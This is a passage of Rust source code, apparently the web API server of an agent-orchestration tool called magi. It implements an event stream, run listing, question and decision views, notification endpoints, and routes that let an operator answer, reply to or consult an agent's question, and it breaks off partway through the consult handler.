8141    let state = Arc::clone(&ui);
8142    tokio::spawn(async move {
8143        let initial_revisions = {
8144            let guard = match state.monitor.latest.lock() {
8145                Ok(g) => g,
8146                Err(p) => p.into_inner(),
8147            };
8148            guard.as_ref().map(|(r, _)| *r)
8149        };
8150        if let Some(revisions) = initial_revisions {
8151            let initial_payload = serde_json::json!({
8152                "queue_rev": revisions.0,
8153                "runs_rev": revisions.1,
8154                "questions_rev": revisions.2,
8155                "talks_rev": revisions.3,
8156                "notifications_rev": revisions.4,
8157                "loop_rev": revisions.5,
8158            });
8159
8160            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
8161                if tx.send(event).await.is_err() {
8162                    return;
8163                }
8164            }
8165        }
8166
8167        loop {
8168            match tokio::select! {
8169                _ = tx.closed() => return,
8170                value = broadcast_rx.recv() => value,
8171            } {
8172                Ok(notif) => {
8173                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
8174                    else {
8175                        break;
8176                    };
8177                    if tx.send(event).await.is_err() {
8178                        break;
8179                    }
8180                }
8181                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
8182                    let revs = {
8183                        let guard = match state.monitor.latest.lock() {
8184                            Ok(g) => g,
8185                            Err(p) => p.into_inner(),
8186                        };
8187                        guard.as_ref().map(|(r, _)| *r)
8188                    };
8189                    if let Some(revs) = revs {
8190                        let payload = serde_json::json!({
8191                            "queue_rev": revs.0,
8192                            "runs_rev": revs.1,
8193                            "questions_rev": revs.2,
8194                            "talks_rev": revs.3,
8195                            "notifications_rev": revs.4,
8196                            "loop_rev": revs.5,
8197                        });
8198                        if let Ok(event) = Event::default().event("change").json_data(payload) {
8199                            if tx.send(event).await.is_err() {
8200                                break;
8201                            }
8202                        }
8203                    }
8204                }
8205                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8206                    break;
8207                }
8208            }
8209        }
8210    });
8211
8212    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8213        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8214}
8215
8216/// Run ids under `runs`, newest first.
8217///
8218/// Rooted at an explicit directory rather than calling [`run::list_ids`],
8219/// which reads the process-global home: the server has to be drivable against
8220/// a temp directory for any of this to be testable.
8221fn run_ids(runs: &FsPath) -> Vec<String> {
8222    let mut ids: Vec<String> = std::fs::read_dir(runs)
8223        .into_iter()
8224        .flatten()
8225        .flatten()
8226        .filter(|e| e.path().join("run.json").is_file())
8227        .map(|e| e.file_name().to_string_lossy().into_owned())
8228        .collect();
8229    // Ids start with a sortable timestamp.
8230    ids.sort_unstable_by(|a, b| b.cmp(a));
8231    ids
8232}
8233
8234/// Read one run's state from an explicit runs root.
8235fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8236    let path = runs.join(id).join("run.json");
8237    let body =
8238        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8239    let state: RunState =
8240        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8241    // The same migration `RunState::load` applies, so a record from the
8242    // previous schema reads here as it does everywhere else (an origin-less
8243    // run shows as "origin unknown") instead of vanishing from the phone the
8244    // moment the schema is bumped.
8245    run::migrate_schema(state)
8246}
8247
8248/// Runs on disk under `runs` whose state this build cannot parse - almost
8249/// always a schema bump, occasionally a run killed mid-write.
8250///
8251/// Exposed so every surface that reports on runs shares one count instead of
8252/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
8253/// `magi doctor` calls this directly rather than guessing at the same number
8254/// a second way.
8255#[must_use]
8256pub fn runs_unreadable(runs: &FsPath) -> usize {
8257    run_ids(runs)
8258        .into_iter()
8259        .filter(|id| read_run(runs, id).is_err())
8260        .count()
8261}
8262
8263fn plain_record_id(id: &str) -> bool {
8264    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8265}
8266
8267/// Expand an id or short id to exactly one run id.
8268fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8269    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8270        return Ok(id.to_owned());
8271    }
8272    pick(run_ids(runs), id, "run")
8273}
8274
8275/// Expand an id or short id to exactly one task id.
8276fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8277    if plain_record_id(id) && queue.path_of(id).is_file() {
8278        return Ok(id.to_owned());
8279    }
8280    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8281    pick(ids, id, "task")
8282}
8283
8284/// A question as the phone reads it.
8285///
8286/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
8287/// text already parsed into a node tree so the client never runs its own
8288/// markdown reader over agent-authored prose. A relative image path in it
8289/// resolves against this question's own panel asset route, which is the one
8290/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
8291/// separate, sandboxed document, but `detail` is rendered inline in the
8292/// operator's own page, so an image reference in it may only ever point at
8293/// files magi itself already serves for this question.
8294#[derive(Debug, Serialize)]
8295struct QuestionView {
8296    can_answer: bool,
8297    /// Imported consent remains history even while its effect is uncertain.
8298    history_only: bool,
8299    choice_effects: std::collections::BTreeMap<String, String>,
8300    record_revision: String,
8301    #[serde(flatten)]
8302    question: Question,
8303    detail_md: Vec<md::Node>,
8304    posting_view: Option<PostingView>,
8305    /// Each thread turn's body, parsed; same order as `question.thread`.
8306    thread_bodies_md: Vec<Vec<md::Node>>,
8307    /// Each thread turn's deputy note, parsed (`None` for a turn without
8308    /// one); same order as `question.thread`.
8309    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8310    /// Is the ball in the agent's court right now?
8311    ///
8312    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8313    /// [`Question::say`] - so this is the one field that tells the phone to
8314    /// disable the answer controls and show "waiting for the agent" instead of
8315    /// a card the owner can act on. Computed rather than stored on
8316    /// [`Question`] itself, on the same reasoning as `waiting` on
8317    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8318    /// it here means the client never has to re-derive that rule.
8319    waiting_on_agent: bool,
8320    /// Who is waiting on this open question - see [`holder_of`]. Separate
8321    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8322    /// anyone is there to take it.
8323    holder: Option<&'static str>,
8324    /// Whether `magi serve` can start a follow-up agent for a conductor
8325    /// question at all: false when `daemon.max_deputies = 0` or the config is
8326    /// unreadable. Separate from `holder`, which says who is listening now.
8327    deputies_enabled: bool,
8328    /// All starts were spent and no live holder remains. Display-only: the
8329    /// final attempt increments `starts` before running under its lease.
8330    deputy_exhausted: bool,
8331    text_delivery: crate::question_delivery::Availability,
8332    /// `question.run` is a task id (conductor / triage questions), not a run
8333    /// id, so the UI links it to the task page.
8334    run_is_task: bool,
8335    /// The existing chat this question's task came from, including settled
8336    /// questions - see [`crate::consult::associated_talk`].
8337    origin_chat: Option<String>,
8338    /// `origin_chat` is closed; consulting reopens it first.
8339    origin_chat_closed: bool,
8340    /// Consultation eligibility is separate from navigation to the chat.
8341    can_consult_chat: bool,
8342}
8343
8344#[derive(Debug, Serialize)]
8345struct PostingView {
8346    before_md: Vec<md::Node>,
8347    after_md: Vec<md::Node>,
8348    fields: Vec<crate::github_text::ComparisonView>,
8349}
8350
8351fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8352    let comparison = question.posting_comparison.as_ref()?;
8353    if !comparison.matches_detail(&question.detail) {
8354        return None;
8355    }
8356    let mut ids = std::collections::BTreeSet::new();
8357    if comparison.fields.is_empty()
8358        || comparison
8359            .fields
8360            .iter()
8361            .flat_map(|f| &f.pairs)
8362            .any(|p| !ids.insert(p.id))
8363        || comparison
8364            .fields
8365            .iter()
8366            .flat_map(|f| &f.original_triggers)
8367            .any(|t| !ids.insert(t.id))
8368    {
8369        return None;
8370    }
8371    let fields = comparison
8372        .fields
8373        .iter()
8374        .map(|f| f.view(comparison.excerpt))
8375        .collect::<Option<Vec<_>>>()?;
8376    Some(PostingView {
8377        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8378        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8379        fields,
8380    })
8381}
8382
8383impl QuestionView {
8384    /// The view of `question`, reading who is waiting on it from `store`.
8385    ///
8386    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8387    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8388        let base = md::ImageBase::QuestionPanel {
8389            id: question.id.clone(),
8390        };
8391        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8392        Self {
8393            can_answer: question.can_answer(),
8394            history_only: store.held_reply(&question.id),
8395            choice_effects: question
8396                .choices
8397                .iter()
8398                .filter_map(|c| {
8399                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8400                })
8401                .collect(),
8402            record_revision: question_record_revision(&question),
8403            detail_md: md::to_nodes(&question.detail, &base),
8404            posting_view: posting_view(&question, &base),
8405            thread_bodies_md: question
8406                .thread
8407                .iter()
8408                .map(|t| md::to_nodes(&t.body, &base))
8409                .collect(),
8410            thread_notes_md: question
8411                .thread
8412                .iter()
8413                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8414                .collect(),
8415            deputy_exhausted: store.deputy_exhausted(&question),
8416            waiting_on_agent: question.waiting_on_agent(),
8417            holder,
8418            deputies_enabled: deputies_enabled(cfg, &question),
8419            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8420            run_is_task: question.run_names_task(),
8421            origin_chat: None,
8422            origin_chat_closed: false,
8423            can_consult_chat: false,
8424            question,
8425        }
8426    }
8427
8428    /// Fill `origin_chat` from the queue and the talks.
8429    fn with_origin(
8430        mut self,
8431        tasks: &[crate::queue::Task],
8432        talks: &[Talk],
8433        watches: &[crate::release_watch::WatchState],
8434    ) -> Self {
8435        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8436        self.can_consult_chat = consult.is_some();
8437        let talk =
8438            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8439        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8440        self.origin_chat = talk.map(|t| t.id);
8441        self
8442    }
8443}
8444
8445/// The config this repository resolves, or `None` when it cannot be read.
8446/// Discovering is git processes plus a config render, so a request that needs
8447/// it for many items takes it once and passes it down.
8448fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8449    Config::discover(repo, None).ok().map(|(c, _)| c)
8450}
8451
8452/// Can `magi serve` start a deputy for this question under `cfg`?
8453fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8454    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8455}
8456
8457/// The views `GET /api/questions` answers. `load` runs at most once, however
8458/// many questions there are, and not at all when there are none.
8459fn question_views(
8460    qs: Vec<Question>,
8461    store: &ask::Questions,
8462    load: impl FnOnce() -> Option<Config>,
8463) -> Vec<QuestionView> {
8464    if qs.is_empty() {
8465        return Vec::new();
8466    }
8467    let cfg = load();
8468    qs.into_iter()
8469        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8470        .collect()
8471}
8472
8473/// Who is honestly waiting on an open question right now: `"asker"` (the
8474/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8475/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8476/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8477/// up, or the question never had anyone listening (a conductor question or a
8478/// merge approval from before deputies, or not yet given one).
8479///
8480/// `None` for a question that is settled, and for one that is not an agent's
8481/// to wait on at all (a release notice).
8482fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8483    if !q.status.open() {
8484        return None;
8485    }
8486    if q.cwd.is_none()
8487        && q.deputy.is_none()
8488        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8489    {
8490        return crate::deputy::kind_of(q).map(|_| "nobody");
8491    }
8492    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8493        Some(_) if q.deputy.is_some() => "deputy",
8494        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8495        Some(_) => "asker",
8496        None => "nobody",
8497    })
8498}
8499
8500/// `GET /api/questions`.
8501///
8502/// Everything, not just the open ones: an answered question is the record of a
8503/// decision, and the phone is where the operator goes back to check what they
8504/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8505#[derive(serde::Serialize)]
8506struct DecisionView {
8507    id: String,
8508    task: String,
8509    run: Option<String>,
8510    chat: Option<String>,
8511    display: String,
8512    delivery_error: Option<String>,
8513    decision: crate::task_decision::Decision,
8514    attention: crate::task_decision::Attention,
8515    next_step: &'static str,
8516    last_observation: Option<String>,
8517}
8518
8519impl DecisionView {
8520    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8521        let attention = inquiry.attention()?;
8522        let last_observation = inquiry
8523            .decision
8524            .as_ref()?
8525            .last_observation
8526            .as_ref()
8527            .map(|o| o.describe());
8528        Some(Self {
8529            id: inquiry.id,
8530            task: inquiry.task,
8531            run: inquiry.run,
8532            chat: inquiry.delivered_to,
8533            display: inquiry.display,
8534            delivery_error: inquiry.delivery_error,
8535            decision: inquiry.decision?,
8536            attention,
8537            next_step: match attention {
8538                crate::task_decision::Attention::OwnerChoice => {
8539                    "Discuss the choice in the owning chat."
8540                }
8541                crate::task_decision::Attention::ReceiptCheck => {
8542                    "Check durable receipts before retrying; do not replay the request."
8543                }
8544                crate::task_decision::Attention::InFlight => {
8545                    "Wait for the effect or execution-start receipt."
8546                }
8547                crate::task_decision::Attention::ReleaseFollowup => {
8548                    "Inspect the remaining release work independently of the original merge."
8549                }
8550                crate::task_decision::Attention::StaleTarget => {
8551                    "Inspect the changed or closed target; do not approve an old head."
8552                }
8553                crate::task_decision::Attention::Resolved => {
8554                    "Inspect the recorded closure reason in history."
8555                }
8556            },
8557            last_observation,
8558        })
8559    }
8560}
8561
8562#[derive(serde::Serialize)]
8563struct DecisionsView {
8564    items: Vec<DecisionView>,
8565    unreadable: usize,
8566    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8567}
8568
8569// Read-only: list visits and inquiry links never create owner decisions,
8570// delivery receipts or effect acknowledgements.
8571async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8572    blocking(move || {
8573        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8574        let mut views: Vec<_> = items
8575            .into_iter()
8576            .filter_map(DecisionView::from_inquiry)
8577            .collect();
8578        views.sort_by_key(|view| {
8579            (
8580                view.decision.status == crate::task_decision::Status::Resolved,
8581                view.id.clone(),
8582            )
8583        });
8584        Ok(Json(DecisionsView {
8585            items: views,
8586            unreadable,
8587            migration_errors: crate::task_chat::migration_issues(&ui.home),
8588        }))
8589    })
8590    .await
8591}
8592
8593async fn decision_get(
8594    State(ui): State<Arc<Ui>>,
8595    Path(id): Path<String>,
8596) -> ApiResult<Json<DecisionView>> {
8597    blocking(move || {
8598        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8599        DecisionView::from_inquiry(inquiry)
8600            .map(Json)
8601            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8602    })
8603    .await
8604}
8605
8606async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8607    blocking(move || {
8608        let questions = ui.questions.list();
8609        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8610        Ok(Json(
8611            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8612                .into_iter()
8613                .map(|view| view.with_origin(&tasks, &talks, &watches))
8614                .collect(),
8615        ))
8616    })
8617    .await
8618}
8619
8620/// Question content and answer controls never wait for task/chat provenance.
8621async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8622    blocking(move || {
8623        Ok(Json(question_views(
8624            ui.questions.list(),
8625            &ui.questions,
8626            || deputy_config(&ui.repo),
8627        )))
8628    })
8629    .await
8630}
8631
8632fn question_record_revision(question: &Question) -> String {
8633    use std::hash::{Hash as _, Hasher as _};
8634    let mut hash = std::hash::DefaultHasher::new();
8635    serde_json::to_vec(question)
8636        .expect("serializable question")
8637        .hash(&mut hash);
8638    format!("{:016x}", hash.finish())
8639}
8640
8641#[derive(Serialize)]
8642struct QuestionOriginView {
8643    id: String,
8644    record_revision: String,
8645    origin_chat: Option<String>,
8646    origin_chat_closed: bool,
8647    can_consult_chat: bool,
8648}
8649
8650async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8651    blocking(move || {
8652        let questions = ui.questions.list();
8653        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8654        Ok(Json(
8655            questions
8656                .into_iter()
8657                .map(|question| {
8658                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8659                    let can_consult_chat = consult.is_some();
8660                    let talk = crate::consult::associated_talk_with_watches(
8661                        &tasks, &talks, &question, &watches,
8662                    );
8663                    QuestionOriginView {
8664                        record_revision: question_record_revision(&question),
8665                        id: question.id,
8666                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8667                        origin_chat: talk.map(|talk| talk.id),
8668                        can_consult_chat,
8669                    }
8670                })
8671                .collect(),
8672        ))
8673    })
8674    .await
8675}
8676
8677type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8678
8679/// Only the task ancestry and chats these questions actually reference. Run
8680/// mappings share the reconciled queue index; exact task references bypass it.
8681/// No question means no task/chat I/O, including no index reconciliation.
8682fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8683    fn task_for_run(
8684        ui: &Ui,
8685        index: &mut Option<Vec<Arc<TaskRelation>>>,
8686        run: &str,
8687        loaded: &HashMap<String, Task>,
8688    ) -> ApiResult<Option<Task>> {
8689        if !plain_record_id(run) {
8690            return Ok(None);
8691        }
8692        if index.is_none() {
8693            *index = Some(ui.indexed_tasks()?);
8694        }
8695        Ok(index
8696            .as_ref()
8697            .expect("loaded index")
8698            .iter()
8699            .find(|task| task.runs.iter().any(|id| id == run))
8700            .and_then(|task| {
8701                loaded
8702                    .get(&task.id)
8703                    .cloned()
8704                    .or_else(|| ui.queue.get(&task.id).ok())
8705            })
8706            .filter(|task| task.runs.iter().any(|id| id == run)))
8707    }
8708    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8709        plain_record_id(id)
8710            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8711            .flatten()
8712            .filter(|task| task.id == id)
8713    };
8714    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8715    let mut index = None;
8716    let mut tasks = HashMap::new();
8717    let mut talks = HashMap::new();
8718    for question in questions {
8719        for reference in crate::consult::question_task_refs(question, &watches) {
8720            let mut current = match reference {
8721                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8722                crate::consult::QuestionTaskRef::Run(id) => {
8723                    task_for_run(ui, &mut index, id, &tasks)?
8724                }
8725            };
8726            let mut seen = HashSet::new();
8727            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8728                let Some(task) = current.take() else {
8729                    break;
8730                };
8731                if !seen.insert(task.id.clone()) {
8732                    break;
8733                }
8734                let chat = task.chat_talk().map(str::to_owned);
8735                let followup = task.followup.clone();
8736                tasks.insert(task.id.clone(), task);
8737                if let Some(chat) = chat {
8738                    if plain_record_id(&chat)
8739                        && !talks.contains_key(&chat)
8740                        && let Ok(talk) = ui.talks.get(&chat)
8741                    {
8742                        talks.insert(chat, talk);
8743                    }
8744                    break;
8745                }
8746                let Some(followup) = followup else {
8747                    break;
8748                };
8749                current = match followup.origin_task {
8750                    Some(id) => direct_task(&id, &tasks),
8751                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8752                };
8753            }
8754        }
8755    }
8756    let mut tasks: Vec<Task> = tasks.into_values().collect();
8757    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8758    Ok((tasks, talks.into_values().collect(), watches))
8759}
8760
8761/// `GET /api/notifications`: not dismissed, newest first, with the unread
8762/// count so the badge and the list cannot disagree.
8763async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8764    blocking(move || {
8765        let items = ui.notices.list();
8766        let unread = items.iter().filter(|n| n.unread()).count();
8767        let items: Vec<_> = items
8768            .into_iter()
8769            .map(|n| {
8770                let question = crate::notices::answerable_question(&n, &ui.questions);
8771                let mut item = serde_json::to_value(n)?;
8772                item["answerable_question"] = serde_json::json!(question);
8773                Ok(item)
8774            })
8775            .collect::<anyhow::Result<_>>()?;
8776        Ok(Json(
8777            serde_json::json!({ "unread": unread, "items": items }),
8778        ))
8779    })
8780    .await
8781}
8782
8783fn notice_error(e: anyhow::Error) -> ApiError {
8784    // An unknown or malformed id and a vanished file are the same answer to
8785    // the phone: that notification is gone.
8786    ApiError::not_found(format!("{e:#}"))
8787}
8788
8789/// `POST /api/notifications/{id}/read`.
8790async fn notification_read(
8791    State(ui): State<Arc<Ui>>,
8792    Path(id): Path<String>,
8793) -> ApiResult<Json<Notice>> {
8794    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8795}
8796
8797/// `POST /api/notifications/{id}/dismiss`.
8798async fn notification_dismiss(
8799    State(ui): State<Arc<Ui>>,
8800    Path(id): Path<String>,
8801) -> ApiResult<Json<Notice>> {
8802    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8803}
8804
8805/// `POST /api/notifications/read-all`.
8806async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8807    blocking(move || {
8808        let changed = ui.notices.mark_all_read()?;
8809        Ok(Json(serde_json::json!({ "marked": changed })))
8810    })
8811    .await
8812}
8813
8814/// The body of `POST /api/questions/{id}/answer`.
8815///
8816/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8817/// a bad request rather than a guess: an answer magi invented is worse than a
8818/// question left open.
8819#[derive(Debug, Default, Deserialize)]
8820#[serde(default, deny_unknown_fields)]
8821struct NewAnswer {
8822    choice: Option<String>,
8823    text: Option<String>,
8824    talk: Option<String>,
8825    head: Option<String>,
8826}
8827
8828async fn question_answer(
8829    State(ui): State<Arc<Ui>>,
8830    Path(id): Path<String>,
8831    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8832) -> ApiResult<Json<QuestionView>> {
8833    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8834    let answer = match (body.choice, body.text) {
8835        (Some(c), None) => Answer::Choice(c),
8836        (None, Some(t)) => Answer::Text(t),
8837        (Some(_), Some(_)) => {
8838            return Err(ApiError::bad_request(
8839                "send either `choice` or `text`, not both",
8840            ));
8841        }
8842        (None, None) => {
8843            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8844        }
8845    };
8846
8847    blocking(move || {
8848        let id = resolve_question(&ui.questions, &id)?;
8849        let q = ui
8850            .questions
8851            .get(&id)
8852            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8853        if !q.can_answer() {
8854            // Answered from the terminal, or by another phone, in between the
8855            // list and the tap. The UI shows the recorded answer rather than an
8856            // error, so it needs the record, not just the status.
8857            return Err(ApiError::conflict(format!(
8858                "question {} is already {}",
8859                q.short(),
8860                q.status.as_str()
8861            )));
8862        }
8863        // `Question::answer` owns the rules - an unoffered choice, free text on
8864        // a multiple-choice question, an empty reply - so the route does not
8865        // restate them and cannot drift from the CLI's behaviour.
8866        let cfg = deputy_config(&ui.repo);
8867        let (q, ()) = ui
8868            .questions
8869            .update(&q.id, |r| {
8870                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8871                // Buttons retain their displayed chat/head binding. A direct
8872                // decision does not require a button or a prior persona offer.
8873                if r.routed_task.is_some()
8874                    && r.merge_target.is_some()
8875                    && merge
8876                    && (body.talk.is_some() || body.head.is_some())
8877                {
8878                    let talk_id = body
8879                        .talk
8880                        .as_deref()
8881                        .context("approval button requires its chat")?;
8882                    let head = body
8883                        .head
8884                        .as_deref()
8885                        .context("approval button requires the displayed head")?;
8886                    let talk = ui.talks.get(talk_id)?;
8887                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8888                    r.answer_chat_button(answer, talk_id, head)
8889                } else {
8890                    r.answer(answer)
8891                }
8892            })
8893            .map_err(ApiError::bad_request_from)?;
8894        let (tasks, talks, watches) =
8895            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8896        Ok(Json(
8897            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8898        ))
8899    })
8900    .await
8901}
8902
8903/// A dedicated status avoids the client's settled-question 409 handling.
8904fn question_text_error(e: anyhow::Error) -> ApiError {
8905    let reason = e
8906        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8907        .map(|e| e.reason);
8908    let error = ApiError::bad_request_from(e);
8909    if let Some(reason) = reason {
8910        ApiError {
8911            text_reason: Some(reason),
8912            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8913        }
8914    } else {
8915        error
8916    }
8917}
8918
8919/// The body of `POST /api/questions/{id}/say`.
8920#[derive(Debug, Deserialize)]
8921#[serde(deny_unknown_fields)]
8922struct NewSay {
8923    body: String,
8924}
8925
8926/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8927///
8928/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8929/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8930/// file, so there is no turn to serialize against and no
8931/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8932/// is a *different* process - the run parked behind `magi ask` - and picks
8933/// the reply up on its own poll of the very same file, same as an answer
8934/// does.
8935async fn question_say(
8936    State(ui): State<Arc<Ui>>,
8937    Path(id): Path<String>,
8938    body: std::result::Result<Json<NewSay>, JsonRejection>,
8939) -> ApiResult<Json<QuestionView>> {
8940    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8941    blocking(move || {
8942        let id = resolve_question(&ui.questions, &id)?;
8943        let q = ui
8944            .questions
8945            .get(&id)
8946            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8947        if !q.status.open() {
8948            // Same granularity as `question_answer`: answered or abandoned in
8949            // between the list and the tap is not this route's error to
8950            // explain any differently.
8951            return Err(ApiError::conflict(format!(
8952                "question {} is already {}",
8953                q.short(),
8954                q.status.as_str()
8955            )));
8956        }
8957        // `Question::say` owns the one rule that matters here - an empty
8958        // message tells the agent nothing - so the route does not restate it.
8959        let cfg = deputy_config(&ui.repo);
8960        let (q, ()) = ui
8961            .questions
8962            .update(&q.id, |r| {
8963                if body.body.trim().is_empty() {
8964                    return r.say(body.body);
8965                }
8966                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8967                r.say(body.body)
8968            })
8969            .map_err(question_text_error)?;
8970        let (tasks, talks, watches) =
8971            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8972        Ok(Json(
8973            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8974        ))
8975    })
8976    .await
8977}
8978
8979/// A disconnected request or a replacing listener cannot interrupt the short
8980/// transaction between persistence and detached worker publication.
8981async fn admitted<T: Send + 'static>(
8982    admission: AdmissionGuard,
8983    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8984) -> ApiResult<T> {
8985    tokio::spawn(async move {
8986        let result = work.await;
8987        drop(admission);
8988        result
8989    })
8990    .await
8991    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8992}
8993
8994/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8995/// came from. The question stays open: the chat agent answers it with `magi
8996/// answer`, or puts the decision to the owner in the conversation.
8997///
8998/// Answers 202 and runs the turn in the background, like every route that
8999/// spends agent calls. The text is queued as a draft of the existing talk, and
9000/// the turn goes through the talk's own gate and session; no seat or waiter is
9001/// started here.
9002async fn question_consult(
9003    State(ui): State<Arc<Ui>>,
9004    Path(id): Path<String>,
9005) -> ApiResult<(StatusCode, Json<QuestionView>)> {
9006    let admission = ui.begin_admission()?;
9007    admitted(admission, async move {
9008        let (q, tasks, talks, watches, talk, cfg) = blocking({
9009            let ui = Arc::clone(&ui);
9010            move || {
9011                let id = resolve_question(&ui.questions, &id)?;
9012                let q = ui.questions.get(&id).map_err(|e| {
9013                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
9014                })?;
9015                if !q.status.open() {
9016                    return Err(ApiError::conflict(format!(
9017                        "question {} is already {}",
9018                        q.short(),
9019                        q.status.as_str()
9020                    )));
9021                }
9022                let (tasks, talks, watches) =
9023                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
9024                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
9025                    return Err(ApiError::conflict(format!(
9026                        "question {} has no chat to ask",
9027                        q.short()
9028                    )));
9029                };
9030                // Read the config before `begin` saves anything: a failure here
9031                // must leave no consult record or draft behind, or a retry would
9032                // see `fresh == false` and never start the turn.
9033                let cfg = if q.consult.is_none() {
9034                    Some(talk.config()?)
9035                } else {
9036                    None
9037                };
9038                Ok((q, tasks, talks, watches, talk, cfg))
9039            }
9040        })
9041        .await?;
9042        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
9043            .await
9044            .map_err(ApiError::from)?;
9045        let (view, reclaimed, submitted) = blocking({
9046            let ui = Arc::clone(&ui);
9047            move || {
